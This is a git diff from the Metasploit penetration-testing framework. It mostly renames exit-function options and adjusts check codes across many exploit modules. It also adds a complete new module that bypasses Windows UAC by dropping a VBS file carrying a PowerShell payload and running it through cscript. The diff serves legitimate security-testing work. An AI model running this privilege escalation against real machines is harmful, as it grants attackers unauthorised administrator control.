diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb
index f7a72adae9..41e4dfa4da 100644
--- a/modules/exploits/multi/http/webpagetest_upload_exec.rb
+++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb
index 79008a0c42..44cedf1ed7 100644
--- a/modules/exploits/multi/http/wikka_spam_exec.rb
+++ b/modules/exploits/multi/http/wikka_spam_exec.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Arch' => ARCH_PHP,
'Platform' => ['php'],
diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb
index d78c68eebc..e1b3ec975e 100644
--- a/modules/exploits/multi/misc/batik_svg_java.rb
+++ b/modules/exploits/multi/misc/batik_svg_java.rb
@@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => %w{ java linux win },
'Targets' =>
diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb
index a30eb0a5e5..01ea41fc06 100644
--- a/modules/exploits/multi/misc/hp_vsa_exec.rb
+++ b/modules/exploits/multi/misc/hp_vsa_exec.rb
@@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb
index 31f6a035a2..28008e88b5 100644
--- a/modules/exploits/osx/local/dyld_print_to_file_root.rb
+++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb
@@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
end
def check
- (ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+ (ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end
def ver?
diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb
index f35c7526c9..e0b2c5f914 100644
--- a/modules/exploits/osx/local/iokit_keyboard_root.rb
+++ b/modules/exploits/osx/local/iokit_keyboard_root.rb
@@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
if ver_lt(osx_ver, "10.10")
- Exploit::CheckCode::Vulnerable
+ Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb
index e9636e54b5..c4683889ab 100644
--- a/modules/exploits/osx/local/nfs_mount_root.rb
+++ b/modules/exploits/osx/local/nfs_mount_root.rb
@@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
- Exploit::CheckCode::Vulnerable
+ Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb
index eaf27a9356..f22d6cb6a2 100644
--- a/modules/exploits/osx/local/rootpipe.rb
+++ b/modules/exploits/osx/local/rootpipe.rb
@@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local
end
def check
- (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+ (ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end
def exploit
diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb
index 80ca7d5ecb..0a031f7a11 100644
--- a/modules/exploits/osx/local/rootpipe_entitlements.rb
+++ b/modules/exploits/osx/local/rootpipe_entitlements.rb
@@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local
def check
if ver? && admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
index 002e91cde3..62157107f4 100644
--- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
+++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb
index 75e2c1b2b6..a218ee92b0 100644
--- a/modules/exploits/unix/webapp/egallery_upload_exec.rb
+++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb
@@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb
index 48283d3cf8..9e01b897dc 100644
--- a/modules/exploits/unix/webapp/opensis_modname_exec.rb
+++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb
@@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => 'none'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb
index 73e429eb4e..722f946e36 100644
--- a/modules/exploits/unix/webapp/php_charts_exec.rb
+++ b/modules/exploits/unix/webapp/php_charts_exec.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb
index 45e7ecf389..410ba14ceb 100644
--- a/modules/exploits/unix/webapp/xoda_file_upload.rb
+++ b/modules/exploits/unix/webapp/xoda_file_upload.rb
@@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb
index 056fbcadd4..e9a1aced93 100644
--- a/modules/exploits/windows/browser/clear_quest_cqole.rb
+++ b/modules/exploits/windows/browser/clear_quest_cqole.rb
@@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb
index 89655a35c9..28762797c1 100644
--- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb
+++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process',
+ 'EXITFUNC' => 'thread',
'URIPATH' => "/shakeitoff.mp3"
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
index 50e7a92819..550395255f 100644
--- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
+++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
index d50fcc1ad8..469f8c32f6 100644
--- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb
+++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
@@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
index 53fa511a44..dbc11ff69b 100644
--- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
+++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
index 3fbb8e2519..74706eabcb 100644
--- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
+++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "seh",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
index 2c6ac3d718..c784f2aace 100644
--- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
+++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
index d6a3a68beb..81a9d67736 100644
--- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
+++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process',
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
index 17dac30a57..396176bf0d 100644
--- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
index 179ccd7920..9cce4f1ed1 100644
--- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
+++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "seh"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
index ca3e15e01a..eb1382c2c9 100644
--- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
+++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
@@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
index fbf0c7c8f3..5e22d75d04 100644
--- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
+++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
index daaee920d9..f63cae9376 100644
--- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
+++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
@@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
'SaveRegisters' => [ 'ESP' ],
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
index 2fda926aee..d1d7450d78 100644
--- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
+++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
index 197a28bafe..29df9fcdd0 100644
--- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
+++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
index 8ed9744322..55699fcecf 100644
--- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
+++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb
index c9c1882901..7af09b6327 100644
--- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb
+++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "seh"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
index c236b0c90d..5565d239b8 100644
--- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb
index 2daf558aee..be1f865651 100644
--- a/modules/exploits/windows/fileformat/ms12_005.rb
+++ b/modules/exploits/windows/fileformat/ms12_005.rb
@@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none",
+ 'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
index d580f94d13..3715060fab 100644
--- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
+++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process",
+ 'EXITFUNC' => 'thread',
'PrependMigrate' => true
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb
index b8b825db62..6a260b10df 100644
--- a/modules/exploits/windows/fileformat/publishit_pui.rb
+++ b/modules/exploits/windows/fileformat/publishit_pui.rb
@@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process',
+ 'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
index daa86cbb38..861ac3d898 100644
--- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
+++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
index 69b1b8775e..c3012abef6 100644
--- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
+++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
@@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'seh'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
index 169f4e40e6..476b0ed1ae 100644
--- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
+++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
@@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'seh',
+ 'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
index d216229734..736e5311c5 100644
--- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
+++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process',
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
index 697aefa878..a051ee3057 100644
--- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb
+++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
@@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb
index 915370b03d..772d2e31aa 100644
--- a/modules/exploits/windows/http/ezserver_http.rb
+++ b/modules/exploits/windows/http/ezserver_http.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'seh'
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb
index 696c54499b..936bfb0e44 100644
--- a/modules/exploits/windows/http/intrasrv_bof.rb
+++ b/modules/exploits/windows/http/intrasrv_bof.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "thread"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb
index e2588be454..d63fe48e99 100644
--- a/modules/exploits/windows/http/rabidhamster_r4_log.rb
+++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "process"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb
index d69045fa99..e0e5d015cd 100644
--- a/modules/exploits/windows/local/bthpan.rb
+++ b/modules/exploits/windows/local/bthpan.rb
@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
def initialize(info = {})
super(update_info(info,
- 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
+ 'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
'Description' => %q{
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
@@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
],
'References' =>
[
+ [ 'MSB', 'MS14-062' ],
[ 'CVE', '2014-4971' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
[ 'OSVDB', '109387' ]
@@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local
session.railgun.kernel32.CloseHandle(handle)
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Detected
end
def exploit
diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb
index 5b4a4ed76e..8cfb23418c 100644
--- a/modules/exploits/windows/local/bypassuac.rb
+++ b/modules/exploits/windows/local/bypassuac.rb
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
- "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
+ "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good 'UAC is set to Default'
diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb
index d08f0655f1..8767b28f44 100644
--- a/modules/exploits/windows/local/bypassuac_injection.rb
+++ b/modules/exploits/windows/local/bypassuac_injection.rb
@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
- "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
+ "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb
new file mode 100644
index 0000000000..b560da405e
--- /dev/null
+++ b/modules/exploits/windows/local/bypassuac_vbs.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Local
+ Rank = ExcellentRanking
+
+ include Exploit::FileDropper
+ include Exploit::Powershell
+ include Post::File
+ include Post::Windows::Priv
+ include Post::Windows::Runas
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
+ 'Description' => %q{
+ This module will bypass Windows UAC by utilizing the missing .manifest on the script host
+ cscript/wscript.exe binaries.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'Vozzie',
+ 'Ben Campbell'
+ ],
+ 'Platform' => [ 'win' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [
+ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'References' => [
+ [
+ 'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html',
+ 'URL', 'https://github.com/Vozzie/uacscript'
+ ]
+ ],
+ 'DisclosureDate'=> 'Aug 22 2015'
+ ))
+
+ end
+
+ def exploit
+ # Validate that we can actually do things before we bother
+ # doing any more work
+ validate_environment!
+ check_permissions!
+
+ # get all required environment variables in one shot instead. This
+ # is a better approach because we don't constantly make calls through
+ # the session to get the variables.
+ env_vars = get_envs('TEMP', 'WINDIR')
+
+ case get_uac_level
+ when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
+ UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
+ UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+ fail_with(Failure::NotVulnerable,
+ "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
+ )
+ when UAC_DEFAULT
+ print_good('UAC is set to Default')
+ print_good('BypassUAC can bypass this setting, continuing...')
+ when UAC_NO_PROMPT
+ print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
+ shell_execute_exe
+ return
+ end
+
+ vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"
+
+ upload_vbs(vbs_filepath)
+
+ cmd_exec("cscript.exe //B #{vbs_filepath}")
+ end
+
+ def check_permissions!
+ # Check if you are an admin
+ vprint_status('Checking admin status...')
+ admin_group = is_in_admin_group?
+
+ if admin_group.nil?
+ print_error('Either whoami is not there or failed to execute')
+ print_error('Continuing under assumption you already checked...')
+ else
+ if admin_group
+ print_good('Part of Administrators group! Continuing...')
+ else
+ fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+ end
+ end
+
+ if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+ fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
+ end
+ end
+
+ def upload_vbs(payload_filepath)
+ vbs = File.read(File.join(Msf::Config.data_directory,
+ 'exploits',
+ 'scripthost_uac_bypass',
+ 'bypass.vbs'))
+
+ command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
+
+ vbs.gsub!('COMMAND', command)
+ print_status('Uploading the Payload VBS to the filesystem...')
+ begin
+ vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..")
+ write_file(payload_filepath, vbs)
+ register_file_for_cleanup(payload_filepath)
+ rescue Rex::Post::Meterpreter::RequestError => e
+ fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
+ end
+ end
+
+ def validate_environment!
+ fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
+
+ winver = sysinfo['OS']
+
+ case winver
+ when /Windows (7|2008)/
+ print_good("#{winver} may be vulnerable.")
+ else
+ fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
+ end
+
+ if is_uac_enabled?
+ print_status('UAC is Enabled, checking level...')
+ else
+ unless is_in_admin_group?
+ fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+ end
+ end
+ end
